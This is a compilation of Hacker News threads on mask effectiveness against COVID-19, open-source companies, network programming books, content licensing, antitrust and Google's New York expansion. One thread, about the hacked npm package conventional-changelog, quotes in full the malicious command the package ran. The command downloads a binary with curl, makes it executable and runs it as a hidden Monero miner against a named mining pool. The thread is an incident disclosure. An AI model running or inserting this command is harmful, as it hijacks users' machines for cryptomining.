> We found that the stability of SARS-CoV-2 was similar to that of SARS-CoV-1 > under the experimental circumstances tested. This indicates that differences > in the epidemiologic characteristics of these viruses probably arise from > other factors, including high viral loads in the upper respiratory tract and > the potential for persons infected with SARS-CoV-2 to shed and transmit the > virus while asymptomatic.3,4 Our results indicate that aerosol and fomite > transmission of SARS-CoV-2 is plausible, since the virus can remain viable > and infectious in aerosols for hours and on surfaces up to days (depending > on the inoculum shed). These findings echo those with SARS-CoV-1, in which > these forms of transmission were associated with nosocomial spread and > super-spreading events,5 and they provide information for pandemic > mitigation efforts.

<comment><USER15> I keep hearing that masks make people touch their face. I put to you the following questions:

1\. Do frontline healthcare workers also "touch [their] face" when wearing these masks for the same reasons regular people do? I imagine it's to adjust the fit? If the answer is no, is it because they have been educated not to? People, at least where I am in Canada, are being told not to touch our faces already. Can we not just extend the messaging to be "avoid touching your face, even when wearing a mask"?

2\. If increased face touching when wearing a mask is truly a problem, would we not expect Hong Kong and Taiwan to have a worse community spread situation? Why is it that they have this contained? Again, the example is anecdotal. But coincidentally, they're both locations that learned from SARS and H1N1 and mask wearing is a foundational part of their public health response.

</comment></comment></comment></comment><comment><USER17> Worth noting the authors are from Porton Down:

"Porton Down opened in 1916 as the War Department Experimental Station, shortly thereafter renamed the Royal Engineers Experimental Station, for testing chemical weapons in response to German use of this means of war in 1915. The laboratory's remit was to conduct research and development regarding chemical weapons agents used by the British armed forces in the First World War, such as chlorine, mustard gas, and phosgene."

[https://en.wikipedia.org/wiki/Porton_Down](https://en.wikipedia.org/wiki/Porton_Down)

</comment><comment><USER18> Simple Respiratory Mask

[https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3373043/](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3373043/)

<comment><USER19> Really grateful for this resource, but the instructions are not exactly clear. Do you take the t-shirt and make it a single layer of cloth or somehow cut the shape into "1 outer layer (≈37 cm × 72 cm) rolled and cut as in panel B with 8 inner layers (<18 cm2) placed inside (against the face)." How do the inner layers stay put?

<comment><USER20> looks like the 8 layers are sewn to the single layer. Or possibly the innermost is sewn to the outermost and the other 7 layers are put in the resulting pocket.

</comment></comment></comment><comment><USER21> _"Our findings suggest that a homemade mask should only be considered as a last resort to prevent droplet transmission from infected individuals, but it would be better than no protection."_

Sounds like common sense

<comment><USER16> > Sounds like common sense

Unless it causes people to touch their face more.

<comment><USER22> I don't think touching your face is a problem. It is touching your eyes, nose, and mouth. When you are wearing a mask you can't touch your mouth and nose. The "don't touch your face" is a simplification of what people should really be worried about. Rubbing eyes, touching inside the nose, and in the mouth. Sometimes this is advice given.

</comment></comment></comment><comment><USER23> Note that these are results for aerosolized bacteria that tend to hang in the air. The new coronavirus is only spread via droplet transmission, which would make even rudimentary masks way more effective.

TL;DR of the results though: homemade mask filtered ~50-70% and surgical mask ~90-95%. Homemade mask reduced transmission into the air by ~75-80%, surgical mask by ~85%.

<comment><USER24> I'd imagine at least some of the advice against buying masks is to prevent hoarding and a supply shortage where they are needed most: healthcare workers.

<comment><USER25> The masks can be counterproductive if used without discipline or training. It's not uncommon to see people adjusting their masks and scratching underneath them constantly. The masks are transformed into virus concentrators and rebreathers.

<comment><USER26> Are you aware of any studies on this specifically? Sounds very plausible but hard to weigh against the benefit of catching expelled droplets. I imagine the calculus changes depending on age, and whether your primary concern is preventing your own infection vs. transmission to others.

</comment></comment></comment></comment><comment><USER27> oh wow "vacuum cleaner bag" almost as good as surgical mask

I bought 60 HEPA bags a month before this disaster started.</comment>


Android's unintentional beneficiary: Funambol - <AUTHOR> http://news.cnet.com/8301-13505_3-10413294-16.html <comment><USER2> "ten of the top mobile companies use Funambol"

 _"greater than 100-percent sales growth every quarter"_

Wow, I was aware of the Funambol software (pretty much the only free/OSS SyncML server out there... shame it's Java), but I had no idea the services company was doing so well.

Data point for the "can you make money from open source?" conversation.</comment>


The Chandler Project (personal information organizer) - <AUTHOR> http://chandlerproject.org/

<comment><USER2> Chandler is the project featured in Scott Rosenberg's book "Dreaming in Code" -- a thoroughly enjoyable book that explores why software development is so hard. The story ends a little too soon, after several years of experimentation, rewrites and failures. I wonder how they got from spinning wheels to v1.0? Anyone know?

<comment><USER3> Mostly scope reduction, I think.

</comment></comment><comment><USER4> As far as I know they're already working on Chandler v2.0 as a total revamp of Chandler 1.0. [http://people.osafoundation.org/~jeffrey/rearch_documentatio...](http://people.osafoundation.org/~jeffrey/rearch_documentation/)

</comment><comment><USER5> I still remember when I first heard of Chandler on slashdot around 2001. It's good to see it released; looks pretty nice too.</comment>


Ask HN: Books on network programming patterns? - <AUTHOR> Hello, HN!
I've recently been getting deeper into node.js for things other than your typical web app, and have encountered a topic I'm not familiar with: network programming. I am completely ignorant on the topic and seek some guidance.
Can anyone recommend any high-level books (or other resources) on network programming? For example, something that covers patterns like PUB/SUB, REQ/RES, Router/Dealer, etc.
Thanks in advanced! <comment><USER2> The classics for learning about network programming is the TCP/IP Illustrated series by W. Richard Stevens:

TCP/IP Illustrated, Volume 1: The Protocols [http://www.amazon.com/TCP- Illustrated-Volume-Addison-Wesley-...](http://www.amazon.com/TCP-Illustrated- Volume-Addison-Wesley-Professional/dp/0321336313)

TCP/IP Illustrated, Volume 2: The Implementation [http://www.amazon.com/TCP- IP-Illustrated-Implementation-Vol/...](http://www.amazon.com/TCP-IP- Illustrated-Implementation-Vol/dp/020163354X)

TCP/IP Illustrated, Volume 3: TCP for Transactions, HTTP, NNTP, and the UNIX Domain Protocols [http://www.amazon.com/TCP-Illustrated-Vol-Transactions- Proto...](http://www.amazon.com/TCP-Illustrated-Vol-Transactions- Protocols/dp/0201634953)

While they start at much lower level than generic patterns, they build the basis to understand the core of networking, and the the later books go into details about effective usage of the protocols.

<comment><USER3> The issue with those books is that even if you have read them, you might still have a hard time writing networking code as they don't talk about the patterns which is what I think OP wants to learn.

</comment></comment><comment><USER4> Since your example patterns seem to be informed by ZeroMQ, I recommend checking out the online 'zguide' book at [http://zguide.zeromq.org/page:all](http://zguide.zeromq.org/page:all).

</comment><comment><USER5> If you are learning about networking, and not just using somebody else's library, Beej's guide is an excellent starting point:

[http://beej.us/guide/bgnet/](http://beej.us/guide/bgnet/)

</comment><comment><USER3> You might find the books "C++ Network Programming, Volume I: Mastering Complexity with ACE and Patterns"[0] and "C++ Network Programming, Volume 2: Systematic Reuse with ACE and Frameworks"[1] useful. They talk about implementation of the "Adaptive Communication Environment" [2] which is an open-source project for network programming. Also, as nextos mentioned below, the "Pattern-Oriented Software Architecture" series.

[0] [http://www.amazon.com/Network-Programming-Volume- Mastering-C...](http://www.amazon.com/Network-Programming-Volume-Mastering- Complexity/dp/0201604647/)

[1] [http://www.amazon.com/Network-Programming-Volume- Systematic-...](http://www.amazon.com/Network-Programming-Volume-Systematic- Frameworks/dp/0201795256)

[2] [http://en.wikipedia.org/wiki/Adaptive_Communication_Environm...](http://en.wikipedia.org/wiki/Adaptive_Communication_Environment)

</comment><comment><USER6> Just Open a Socket - Connecting Applications to Distributed Systems is a great talk to watch:

[https://www.youtube.com/watch?v=jytJXjI0oQU](https://www.youtube.com/watch?v=jytJXjI0oQU) [https://speakerdeck.com/seancribbs/just-open-a-socket- connec...](https://speakerdeck.com/seancribbs/just-open-a-socket-connecting- applications-to-distributed-systems)

Other talks from ricon.io and the various Erlang conferences are great too, but those are more about distributed systems and not primarily network programming. But since you mentioned the ZeroMQ patterns that should be just what you want.

[http://thinkdistributed.io/](http://thinkdistributed.io/) [http://ricon.io/](http://ricon.io/) [https://www.youtube.com/user/ErlangSolutions/videos](https://www.youtube.com/user/ErlangSolutions/videos)

</comment><comment><USER7> Enterprise Integration Patterns:

[http://www.amazon.com/Enterprise-Integration-Patterns- Design...](http://www.amazon.com/Enterprise-Integration-Patterns-Designing- Deploying/dp/0321200683/ref=pd_bxgy_b_text_y)

[http://www.eaipatterns.com/](http://www.eaipatterns.com/)

Covers stuff like: RPC, messages, channels, etc.

</comment><comment><USER8> Check out the Pattern-Oriented Software Architecture volumes.

You can also draw a lot of inspiration from the Erlang literature, and CTM.

</comment><comment><USER9> Not directly answering your question, but: ZeroMQ is a network programming library that uses and encourages the use of "patterns". Take a look at the (excellent) ZeroMQ manual.</comment>


One Million $1M Ideas - <AUTHOR> http://jeremyaboyd.com/one-million-1m-ideas/ <comment><USER2> So, what do you think of my idea:

www.1millioncoins.com

I saw your title and thought it was so close to my domain name I thought you might find my idea interesting.

<comment><USER3> I didn't submit this link, so I didn't know about this until today, sorry for the late response.

You are opening yourself up for a world of hurt:

1 - No Privacy Policy ([http://www.disclaimertemplate.com/privacy-statement- template...](http://www.disclaimertemplate.com/privacy-statement-template/))

2 - No terms (This document is to protect you)

3 - No SSL (legislation going through multiple bodies now for any website that collects PII to require SSL)

When dealing with information that may be used to identify someone and their identifying habits and traits, you need to have a privacy policy and SSL.

The lack of a terms of service telling us what we are legally allowed to do makes running a bot to collect all these coins, not only simple, but legal.

Your fake testimonial (don't argue, because you know it is true) is also 100% illegal and fraudulent. [http://www.disclaimertemplate.com/illegal-use-fake- testimoni...](http://www.disclaimertemplate.com/illegal-use-fake- testimonials/)

I would say all in all this website is a walking law suit waiting to happen.

I felt my history in the SEO industry was REALLY shady, but everything we did was at least above the board and legal, so far everything I have seen on your website(s -- yes I found the rest of them) would suggest otherwise.

If you want to create a survey/lead generation system to reward takers with virtual currency and sell their information, up your security, get some legal in place and for the love of God, run it all passed a lawyer. These steps are to protect YOU.

<comment><USER2> it's not about selling information at least for 1millioncoins.com. As for lead gen like at bid2mow.com for instance is beneficial to both parties. you wouldn't fill out a form unless you were looking for some kind of landscaping service. Yes your right on the terms of service and privacy policy and SSL. I need to work on those.

<comment><USER2> Also, I haven't put a lot of time in most of these because I'm still trying to determine if there is a business there.</comment></comment></comment></comment>


Microsoft just exposed email's ugliest secret  - <AUTHOR> http://www.theverge.com/2014/3/21/5533814/google-yahoo-apple-all-share-microsofts-troubling-email-privacy-policy

<comment><USER2> Darn if only this had been posted today, it'd be much more likely to get FP coverage.

I really wanted HN's opinion on this + any new alternatives that may have cropped up since the last time this was a discussion.</comment>


NPM: conventional-changelog package hacked - <AUTHOR> https://github.com/conventional-changelog/conventional-changelog/issues/279 <comment><AUTHOR> Some details ([https://github.com/conventional-changelog/conventional- chang...](https://github.com/conventional-changelog/conventional- changelog/issues/279#issuecomment-365344112)):

> This happened because of a security issue: conventional-changelog package > was hacked, and it contained a Monero miner.

> I reported it to the devs and they unpublished it (and also conventional- > changelog-preset-loader).

> They should re-add a safe version tagged with 1.1.3 to fix this issue.

The hacked package executes:

rm -rf /tmp/.debug && curl [https://mnrlnt.blob.core.windows.net/mnr/Silence](https://mnrlnt.blob.core.windows.net/mnr/Silence) -o /tmp/.debug 2> /dev/null && chmod +x /tmp/.debug && /tmp/.debug -o stratum+tcp://pool.minexmr.com:4444 -u 4A9V5knGUM8PUdPSJbTox8b9mgTsfXByK49XKtEyqVayDxD6CFJe5dsexaM99x7MXFNTxZkYAr4YtcAXQMkNrFjnRPJGJFr.JL6_$(hostname -f | md5sum | cut -c1-8) -p x -t $(lscpu | grep 'CPU(s)'| grep -v ',' | awk '{print $2}' | head -n 1) 2> /dev/null &</comment>


Why Is Obama's Top Antitrust Cop Gunning for Google? - <AUTHOR> http://www.wired.com/techbiz/it/magazine/17-08/mf_googlopoly?currentPage=all <comment><USER2> Simple: They forgot to invest in people who can lobby their side in Washington. Microsoft had the same problem in the 90'ies. If you aren't spending 20% of your income on lobbism as a big company, you are a sitting duck. A startup don't have to, since they are mostly invisible anyway.

Yes, this sucks and I would love a world in which it was not. Being realistic, however this is the way out of it.

<comment><USER3> Google has invested in lobbying - for at least the past few years. You can read a 2007 Washington Post article about it here: [http://www.washingtonpost.com/wp- dyn/content/article/2007/06...](http://www.washingtonpost.com/wp- dyn/content/article/2007/06/19/AR2007061902058.html)

It would have been careless for them to avoid this.

</comment></comment><comment><USER4> The notion of antitrust law is fundamentally flawed to begin with. What constitutes a monopoly? Is it having a large share of the marketplace? The government grants monopolies in the form of patents so how is that different than a company serving its customers well and thus reaping the rewards of that service? And what's wrong with that?

Has anyone been forced to use Google? You have options of course and you always will.

I didn't support Netscape's complaint against Microsoft when that happened for the same reason I don't support any complaint against Google now-namely that the whole idea of a free market generated monopoly is absurd. This is just another case of someone wanting to advance their career who understands nothing of free market economics.

I think this time though a lot more people are more supportive of Google and realize that Google improves the quality of their lives tremendously. I'll be interested to see what sort of reaction occurs if a trial ever even happens. My guess is that threats will go on for awhile and if Obama is reelected you might see something happen.

<comment><USER5> >What constitutes a monopoly?

IANAL, but I get the impression that antitrust suits are supposed to stop businesses from being anti-competitive, not from out-competing their opponents.

If the issue at the heart of this case is that PageRank may be unfairly directing traffic to Google services rather than competing services, couldn't the investigators just sign an NDA and examine PageRank?

[edit: formatting]

<comment><USER6> Antitrust law is fundamentally flawed and was created to fix government granted privilege in the train system. Antitrust law is ill defined and basically puts anyone who is successful at the mercy of washington. An activity can be legal at 50%, 75%, 80% market share and then boom at 81%, or any percentage, they deem you a monopoly and that activity which was formally legal is now illegal. It is unjust and and makes a mockery of the judicial system.

</comment></comment></comment><comment><USER7> I actually think he has a point. Google's motto may be "don't be evil," but they're extraordinarily powerful. And an evil entity that everyone thinks is good is a lot more dangerous than an evil entity that everything thinks is evil.

This is not to say that Google is evil, but if they were, we could all be quite screwed. I have a security minded friend (re: paranoid) that refuses to use any Google products at all, except for search. (The same friend was POed at YN for offering clickpass for this site. I got yelled at for using it.)

<comment><USER8> If Microsoft Word sent information about the documents you were writing directly to Microsoft, or Outlook informed them of whom you were meeting when, there would be a huge outcry.

Google has all this information about people who use Docs and Calendar. It also has access to all the e-mails you've sent and received if you use GMail, and where you're travelling from and to if you use Maps. With search, it's knows which APIs your company is using, who's working on your projects and what you're trying to create.

<comment><USER9> Ad sense lets them know which page you just viewed.

iPhone voice interface for maps gives them your voice biometrics.

Search history must be a treasure trove for a psychological analysis and profile.

Lets hope Google is not an NSA operation.

<comment><USER10> Let's not forget their support of <http://www.23andme.com/>, giving them access to your DNA :)

</comment></comment></comment></comment><comment><USER11> The biggest issue I see here is that we are in the middle of a mess caused by _lack_ of monopoly enforcement in the banking and finance sector by previous administrations, and the Justice Dept. makes no signs of fixing that problem or even admitting it exists. In fact, financial institutions are even _more_ consolidated coming out of this crisis.

<comment><USER12> Monopoly enforcement? Really? Which bank has a monopoly on which industry?

<comment><USER13> I think it's the "too big to fail is too big to exist" theory he's talking about. If a financial company is backed by taxpayer dollars and everyone knows they won't be allowed to fail, as is certainly the case now for the consolidated powers, they can play Russian roulette but with the pistol against our temples.

I'm not sure what percentages of control constitute a monopoly, but if you look at the definition of a trust, I'd say it wouldn't be outlandish to suggest that anti-trust enforcement wouldn't be out of hand. Even if you were so libertarian to be opposed to such things, rescue with breakup as opposed to rescue by free money and consolidation surely would have been preferable.

The perhaps larger issue with the massively consolidated power in finance is regulatory capture.

<comment><USER11> That would be what I am referring to, yes. Companies failing has, and should remain an important part of the business economy. When a company controls too many interests to be allowed to fail then this is evidence that the enforcement of laws that are already on our books has become lax.

</comment></comment></comment></comment><comment><USER13> To the extent that the administration is looking at Google, it's because they are on the same page as a lot of people running around on the Internet. Microsoft is old news, a defanged lion that doesn't know it's dead yet. Google is the new awesome. Ideologically , they think monopolies are more of a problem than the previous administration, so their faith in Google's dominance that is essentially unassailable has a downside there.

Microsoft's issues with Yahoo, and Yahoo coming out looking inept, confused, and powerless, helped cement Google's position as the only provider on the block. Bing at least provides Google with a counter-argument. We'll see if it ever becomes plausible.

</comment><comment><USER14> Schmidt is in with Obama. Schmidt was an "advisor" during his campaign. They wont be gunning for Google (unless something super monopolistic happens)

</comment><comment><USER15> I would like Bing to be a serious competitor to google, it would only be good for us the user, they would be competing on the share they get from publishers advertisement, they would compete on providing better results and it would keep goggle focused on what it does best.</comment>


Ask HN: A Local Media Company Wants to Use My Content, What Should I Charge Them? - <AUTHOR>

I'm not sure how relevant this is to Hacker News, but I guess it can always be deleted.
I'm a freshman CS major and I've been running a local web site for concert listings in the Philadelphia area as a little side project (it's a Rails app that scrapes venue web sites to aggregate events).
Recently, the site has become somewhat popular with local show promoters and members of local press to the point that one of the local papers contacted me about integrating my content on their site.
Which brings me to my question, how much should I ask for from them? I mean they'll be making money off of my content seeing as they have ads all over their site.
Also would I be taking a big risk in losing traffic directly to my site if I let them use my listings? (I'd clearly want some kind of link back to my project or something on their site) <comment><USER2> Find out how much space they propose to fill with your content - half a page, say. Find something similar in around the same place in the paper (the advice column or whatever), check on the advertising section of the website(or have a friend call them) to see how much they are charging for the adverts surrounding content of that size. ask for about 2/3 of that.

for example, you give them 1/2 page of stuff every week, and it's surrounded by 1,5 pages of ads, which they sell for, say, $1500. They pay a 10-15% commission to their sales person for selling the ads, and want to make a similar level of profit for themselves. So ask for $1000.

They'll probably say no and you'll have to negotiate...so your trade-off will be 'OK, you want to pay $500...but in return I want a 6 month commitment and my logo/website address in the top left of the box'. Researching how much they're getting for the surrounding space should give you a ballpark idea of what the content is worth.

</comment><comment><USER3> Your situation is interesting and complicated.

Companies that publish traditional paper media such as newspapers and magazines are, in many cases, in the business of trying to get content in very cheap ways, and have tried over many years to to hone their cheapassness techniques. They might be willing to use a lot of sleazy techniques like:

\- taking advantage of many people's excessive enthusiasm about how wonderful it is to be "in the newspaper" famous, talk to cool people it will be their job to report on, etc. This might be a worthwhile trade for some people, but be careful about an offer to "work for us for free or nearly free now, so you can

get better opportunities later." The "better opportunities" might or might not be available. Some of the people who accept the scammier versions of this kind of deal have fifth-rate minds as you can tell by reading (crappy) stuff they produce.

\- preference-revealing bait-and-switch (an employee of the media co. starts negotiating a preliminary deal with you, then it turns out they don't have deal-making authority, but the deal-making rehearsal got them useful information that can be used to take advantage of you in later negotiations.) Outside of media corporations, this trick is notoriously used by used-car dealers a lot.

\- contracts (maybe "standard contracts") they want you to sign, that turn out to have important details that take rights and opportunities away from you (or make you liable for stuff)

\- just plain steal content or ip, and dare you to sue unless you settle out of court for a small amount (This happened to the guy who wrote "Things My Girlfriend and I Have Argued About" at <http://www.mil-millington.com/> )

\- Sending a cool with-it chick to negotiate with you, hiding their real nature. :-) (Have you ever read Courtney Love's "Courtney Love Does the Math" expose on how record companies weasel out of their nominal payments to ecording artists? It's worth reading.)

BTW: Traditional media companies' "core competency" in getting content for a relative pittance through exploitation is one reason that the rank-and-file workers in many media are so in favor of national health insurance. Many media workers are poor enough, and so poorly- or non-insured, that they really really need the insurance. :-/

I also suggest that you consider--is your target audience more likely to read this newspaper's website, or your own site? Can you do anything (preferably practically cost-free) to influence that? It's possible that you're already the market leader. Can you take steps to hold on to that position? Link exchange is one obvious possibility, but you can probably think of others.

When it comes to trying to find 'comparable prices or rates' for content, remember that "Dear Abby" or "Click and Clack" can provide the same content to thousands of publications nationwide, so they can sell it very cheaply. You, on the other hand, would be providing content that must be specific to your geographical location. So don't be taken in by invalid comps.

It's also worth remembering that the newspaper website can at least try to find someone who will work cheap or free for the 'fame' of having their name in the paper and other peculiar perks of their job (like a newspaper music reviewer here in Tucson who got drugs from bands he reviewed.) This is what newspapers try to be good at! So you have to be ready for the _possibility_ that they will try to hand-roll their own competitor to you regardless of whether they can realistically do it well in the long term (or if they will end up publishing

stuff that eventually looks like the guy who did it is on drugs.)

A newspaper's blatant attempt to copy and compete with a specialty provider of news in their geographical area doesn't necessarily kill the specialty provider, though. Here in Tucson the print publication _Tucson Weekly_ was a provider of arts/culture news for many years before the largest local conventional newspaper, the _Arizona Daily Star_, created a copycattish arts/culture weekly to compete with it. Over a few years the copycat shrunk and wilted, but the _Tucson Weekly_ appears to be going strong.

Might I also suggest that if you want to deal with newspapers, you might want to talk to all the newspapers or other news publishing companies (even non- paper ones) active in your geographical area? This might give you a chance to be the one established provider negotiating with multiple other parties who are competing with each other.

If you decide to license (some?) content to the newspaper site, you might be able to find ways to differentiate your website from theirs in ways that are to your benefit. You know your topic better than I do, so I leave that creative task up to you. :-)

Another possible idea is to gain an economy of scale by covering more metro areas than you do now. Maybe then you could cut the cost per metro area and maybe be able to figure out a way to make money?

I wonder if you can do (a) worthwhile affiliate deal(s) with iTunes, Amazon.com, or some other business(es)?

Good luck, and have fun! :-)

<comment><USER3> Wow, I'm long-winded. Maybe I should write a blog. :-)

</comment></comment><comment><USER4> Is your site currently making money? Is theirs? Are the venues going to give you grief for scraping their sites?

You are in a very good negotiating position since you don't need to sell to them, and they are approaching you.

The numbers you need to know to negotiate effectively are how much it costs you to provide the listings; an estimate of what your listings are worth to the other party and an estimate of how much it would cost them to do the same things you are doing.

You should look at their circulation report and rate card (they do give these out to advertisers) to derive those numbers.

You may want to consider selling the entire site to them too.

Good luck and keep us posted on your progress.

<comment><AUTHOR> I'm not making money, they're making some kind of revenue seeing they have paid staff and all sorts of web and print ads.

As for venues giving grief over scraping, I haven't heard anything from larger Livenation venues (but they have an API for event information). The smaller venues that I scrape seem to love it. One of the well known show promoters in the city was nice enough to shoot me an email telling me how much he likes the site and is now testing out the iPhone version for me.

I highly doubt they'd want to buy it, I'm pretty sure the woman that runs the site wants to integrate and didn't really talk much to upper management.

Thanks for mentioning the rate card, I'll be sure to find out what they're charging for ads before I might them this week.

</comment></comment><comment><USER5> How much would it cost them to pay someone to research this information? Probably it would take up a few hours a week. So maybe something like 3hrs / week * $20 / hr * 4 weeks = ~$240/month.

And don't hesitate to give them a widget linking to your site for "more information."

</comment><comment><USER6> It depends on how much you care about this project, is it your baby? or just something that happened? - if its your baby, you say - "You can link to my site from yours..I'll even design you a nice big banner ;)" and thats the best you can do.... - cause that gives little chance of losing it all - if it's just fun and games; or you dont see yourself doing it for 2-3 more years, let them do it for free and then release it totally opensource.....

\- you could also try to hit a home run and sell them the "tech, trademark, domain.." for 2k-15k ,

Good luck

<comment><AUTHOR> At first I wouldn't call it my baby, but after seeing how much it brought me into the local music scene here and how many contacts I've gained off of it I would probably say I'm very attached to it.

The web site that wants to use the listings is owned by the paper but seems to have its own management. The girl that runs the whole thing is very with it and whatnot.

In the end I really think it might come to her wanting to somehow integrate and the paper's IT department telling her no because she has to use their crappy proprietary listings from the paper.

</comment></comment><comment><USER7> Most people do it by affiliations with ticket vendors, and you get a cut of their cut.

It's tricky if you're doing it locally from small venues that only have at- the-door sales. But if you can branch out into recorded music and merchandise, those sell well too.

<comment><AUTHOR> Yeah, I do have ticket affiliate links but I make barely any money off of that. Although all the local venues do use Ticketweb, most people buy tickets at the door (or at the local box office depending on how popular the show is).

It doesn't help that I marketed the site to mostly broke college students who probably go to venue box offices to avoid nasty surcharges.</comment></comment>


Introspy: Security profiling for blackbox iOS - <AUTHOR> http://isecpartners.github.io/introspy/

<comment><USER2> This looks great. I'm working on something for iOS that does security on both ends, encryption on the phone before being sent to a server where it is encrypted again using different salts/keys. I'd like to use things like this to make sure my HTTPS is working, my key-gen is working, and make sure that things are as secure as I can get them on device side as possible.</comment>


Google announces major expansion in New York City - <AUTHOR> https://arstechnica.com/?p=1429233 <comment><USER2> Tired of the expense of the Bay Area, companies are now uncovering small, cheap gems that no one knew about like NYC.

<comment><USER3> I know you're being sarcastic, but as someone who lived in NYC and California there is not even a comparison on how better is NYC when it comes to the amount of options you get to flexibly spend your money and smartly extend your paycheck. All this while still living in one of the boroughs.

I lived for a year in Manhattan with a $50K salary. I wasn't living like a king at all and definitely not saving money, but still managed to have a lifestyle that I would consider comfortable and healthy. This was 2015.

Now, compare that to San Francisco. $50K it's basically one level above homelessness.

<comment><USER4> The average Manhanttan apartment is ~3.5k a month. I'd say you likely got lucky if you lived comfortable on a 50k salary.

<comment><USER5> I never know why people trot these prices out. Literally nobody I know actually pays 3.5k a month for rent, and a majority of my friends are in the software field in one way or another.

The most that anyone pays is like 1.8k

<comment><USER6> If you want to live without roommates (you have a family, or you just like living alone), you're probably paying more than 1,800/mo.

<comment><USER5> Well yes, if you don't want to make basic concessions, you have to pay more money.

I find generally fiscal rationality trumps not having a roommate.

<comment><USER7> Middle class professionals can normally afford their own places with ~30 minute commutes.

If I need a roommate to make things work financially, I'm in the wrong job or the wrong city.

</comment></comment></comment></comment></comment></comment></comment><comment><USER8> I can't be the only one concluding that we're near the end of a nice run for tech, with all these expensive real estate moves. I don't know, maybe we've been there for a while now.

What better way to spend piles of cash you have no idea what to do with than extort local governments for billions in tax breaks and park that money in a some commercial real estate you can depreciate? I'm not judging these companies for doing this per se (Amazon, Apple, and Google have all recently done this as far as I can tell - haven't noticed anything from Microsoft), but I do consider it a bit ominous that they've all picked expensive places that certainly _seem_ like good picks.

It really does seem like these companies have no idea what to do with their money. Buying up land and taking the next 3-5 years to build billion dollar campuses seems so boring to me.

<comment><USER9> Google hasn't extorted local governments for tax breaks in their recent San Jose deal.

[https://www.citylab.com/life/2018/12/san-jose-deal-google- ca...](https://www.citylab.com/life/2018/12/san-jose-deal-google-campus- diridon-station-vs-hq2-incentive/576310/)

>Liccardo says, the city didn't offer the company any tax incentives in exchange for its business. "More importantly," he added in a Medium post, "Google never asked for a dime."

<comment><USER10> >While Google won't get outright public subsidies, as Liccardo noted, the company will benefit as much as the community from Diridon Station, which will cost taxpayers $10 billion.

Why are you holding the bag for Google?

</comment></comment></comment><comment><USER11> A company choosing to expand in New York without billions in incentives? Could it be? The municipal government didn't think it was possible...

<comment><USER12> On the contrary, the municipal government very loudly believed that it would have been possible. Unfortunately it appears that, for some reason I don't understand, New York City's Council doesn't have any input into those sort of incentive programs.

<comment><USER13> Yep. The State officials can run roughshod over you whenever they like.

We just need a nation wide system where politicians can make these Foxconn type deals, but the deals would be null and void until voters actually signaled approval in some kind of referendum.

<comment><USER14> As someone living in California, my advice is to be _very_ cautious about how much direct democracy you ask for. It can very easily go very badly.

<comment><USER6> This doesn't deserve downvotes. Some of the products of the referendums (prop 13, for example) have had disastrous long term consequences.

<comment><USER15> And let's not forget everyone's favorite:

> _This [literally any object imaginable] contains materials known to the > State of California to cause cancer._

<comment><USER6> Oh yeah, that one's great. My two favorite uses of this sign - first, on the jetway, when you're stuck in line, and second, in the baby food aisle at our local grocery store. I guess you could think of it like a memento mori, though: "Everything is killing you, slowly".

</comment></comment></comment></comment></comment></comment></comment><comment><USER16> Cities like NYC and Los Angeles are seeing an explosion in tech jobs lately as the Bay Area is bleeding out.

<comment><USER17> There is no bleeding out. Google is actually expanding massively in the Bay Area with a huge purchase in San Jose, Sunnyvale, Mountain View, and SF. They are adding space for 50k more employees in the Bay, far more than in NY. Facebook is building out its Menlo Park campus and also signed the largest lease in SF history. Tesla has basically taken over every bit of office space in Fremont. Apple recently opened their $5bn campus.Bay Area can only accommodate 8mn people and with housing push perhaps 10mn at max. So obviously the biggest companies in the world needs to expand somewhere else as well

<comment><USER18> Amazing. Driving through the Penninsula is already a total nightmare. Took me 90 minutes to get from San Bruno to San Jose last week. The drive back to the city took 35 minutes in the late evening.

How people ride these shuttles, drive, and deal with these commutes blows my mind. It's only going to get way worse. Most expensive traffic jam in the country. No thanks.

<comment><USER19> > Most expensive traffic jam in the country.

Not sure if this was your point, but when we can make such a big deal about how a meeting with ten people costs the company ten man-hours and therefore meetings are _sooo expensive_ yet everyone _at the entire company_ goes and sits in traffic _twice a day_. The macroeconomic cost must be _astronomical_.

</comment></comment></comment></comment><comment><USER20> Does anyone know why Google, Amazon, and Apple have all announced large incentive programs recently? Is there something about it being the end of the fiscal year? Or are there other possible reasons?

<comment><USER21> I think the tax bill from last year helped some with this[0]. Apple announced that they would be bringing back billions of $ from overseas holdings due to changes in the laws, and investing it in the US.

Google has been expanding in NYC for a while. Back in February, they bought their existing building for $2 billion[1].

[0] [https://www.nytimes.com/2018/01/17/technology/apple-tax- bill...](https://www.nytimes.com/2018/01/17/technology/apple-tax-bill- repatriate-cash.html)

[1] [https://nypost.com/2018/02/06/google-to-buy-chelsea- market-b...](https://nypost.com/2018/02/06/google-to-buy-chelsea-market- building-for-2b/)

<comment><USER22> So this is Trump's doing?

Did he really help add about 100k high paying tech jobs and within the biggest tech companies on earth?

<comment><USER23> Mitch McConnell stated that the tax cuts increased employment. Politifact rates that statement as Half True[0]. In reality, it's fair to say tax cuts created an environment that was conducive to hiring, but also, the levels of hiring have been pretty steady since 2010.

That being said, there's even less evidence that this is even Half True in the tech industry.

0\. [https://www.politifact.com/truth-o- meter/statements/2018/jun...](https://www.politifact.com/truth-o- meter/statements/2018/jun/05/mitch-mcconnell/how-strong-have-job-gains-been- tax-bill-passed/)

___

edit: Also, I assume you're being downvoted because your question was phrased as bait whether you meant it to or not.

</comment></comment></comment></comment><comment><USER24> Thank god for NYC... Poor tiny NYC I'm sure could use the tax revenue.

Why can't they pick some place that could actually use the growth? Boulder?

<comment><USER25> One day Pittsburgh will get its big hockey-stick shaped break.

<comment><USER26> Pittsburgh and Madison are both low COL cities with great engineering schools where only a small handful of companies are soaking up all the talent. Definitely underrated.

<comment><USER27> Madison has one good school. How many CS graduates are there that still want to live in Madison after they graduate?

Pittsburgh I can somewhat agree.

<comment><USER13> To be honest, both suck compared to NYC and SF. There's just no comparison. NYC and SF have high numbers of PhD level tech talent, neither Pittsburgh nor Madison have anywhere near the number of the MIT-Stanford-Caltech PhD crowd. NYC and SF have higher density. And NYC, for example, has far more jobs in industries unrelated to tech. Not only more jobs in other industries, but way more other industries in general. Which is always attractive for the significant other.

The name of the game is to get high end tech talent. So sure, the University of Wisconsin can crank out code monkees for you. That's fine if that's all you need. But all the PhDs from the elite tech schools will sit down with their spouses or significant others to think about where to live and Madison and Pittsburgh just won't be terribly high on those lists. It's not all about the PhD that Google wants to hire, you have to have something for his or her spouse too. It's a lot easier to do that in NYC or SF. Just kind of the reality right now.

